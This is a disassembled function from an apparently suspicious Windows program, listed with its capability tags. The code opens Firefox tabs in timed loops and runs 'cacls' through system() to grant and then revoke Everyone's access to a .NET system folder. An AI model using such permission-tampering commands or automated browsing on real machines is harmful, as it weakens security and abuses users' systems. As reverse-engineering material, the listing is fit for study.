Function at 0x40744f
Capabilities:
Create thread
Execute command

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
call sym.__main
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, str.cacls__C:WindowsMicrosoft.NET_assemblyGAC_64Microsoft.GroupPolicy.AdmTmplEditor_v4.0_10.0.0.0__31bf3856ad364e35Microsoft___e__p_everyone:f
call sym.system
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov dword [0x00413238], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov qword [0x00413240], rax
lea rax, [rbp - 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.MonitorThread_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
mov byte [0x0040c010], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 0x14], eax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.checkInternetConnection__
test al, al
je 0x40763f
call sym.checkElementExistence__
mov dword [rbp - 0x18], eax
cmp dword [rbp - 0x18], 0xffffffff
jne 0x40756c
lea rdx, str.Skipping_processing_due_to_the_word_seeds._Sleeping_for_random_time...
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
call sym.rand
mov ecx, eax
mov edx, 0x2e8ba2e9
mov eax, ecx
imul edx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
mov edx, ecx
sub edx, eax
lea eax, [rdx + 0xa]
imul eax, eax, 0x3e8
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40775d
call sym.rand
mov ecx, eax
mov edx, 0x55555556
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
mov edx, ecx
sub edx, eax
lea eax, [rdx + 1]
mov dword [rbp - 0x1c], eax
mov dword [rbp - 4], 0
mov eax, dword [rbp - 4]
cmp eax, dword [rbp - 0x1c]
jge 0x4075df
call sym.openFirefox__
lea rdx, str.Total_number_of_opened_Firefox_tabs:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [0x00413058]
mov edx, eax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
add dword [rbp - 4], 1
jmp 0x40759a
lea rdx, str.Sleeping_for
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 0x18]
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, str._seconds_before_the_next_iteration...
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rcx, str.cacls__C:WindowsMicrosoft.NET_assemblyGAC_64Microsoft.GroupPolicy.AdmTmplEditor_v4.0_10.0.0.0__31bf3856ad364e35Microsoft___e__p_everyone:n
call sym.system
mov eax, dword [rbp - 0x18]
imul eax, eax, 0x3e8
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40767b
lea rdx, str.No_internet_connection._Waiting_for_10_seconds...
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rcx, str.cacls__C:WindowsMicrosoft.NET_assemblyGAC_64Microsoft.GroupPolicy.AdmTmplEditor_v4.0_10.0.0.0__31bf3856ad364e35Microsoft___e__p_everyone:n
call sym.system
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x00413040]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call method.std::vector_HWND____std::allocator_HWND_____.begin__
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call method.std::vector_HWND____std::allocator_HWND_____.end__
mov qword [rbp - 0x48], rax
lea rdx, [rbp - 0x48]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.bool___gnu_cxx::operator__HWND____std::vector_HWND____std.allocator_HWND__________gnu_cxx::__normal_iterator_HWND____std::vector_HWND____std::allocator_HWND________const____gnu_cxx::__normal_iterator_HWND____std::vector_HWND____std::al
test al, al
je 0x407725
lea rax, [rbp - 0x40]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_HWND____std::vector_HWND____std::allocator_HWND_______.operator___const
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov r9d, 0
mov r8d, 0
mov edx, 0x10
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageA]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
test eax, eax
setne al
test al, al
je 0x407717
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4076ee
lea rax, [rbp - 0x40]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_HWND____std::vector_HWND____std::allocator_HWND_______.operator__
jmp 0x4076a6
lea rcx, [0x00413040]
call method.std::vector_HWND____std::allocator_HWND_____.clear__
mov byte [0x0040c010], 0
mov rax, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x40746a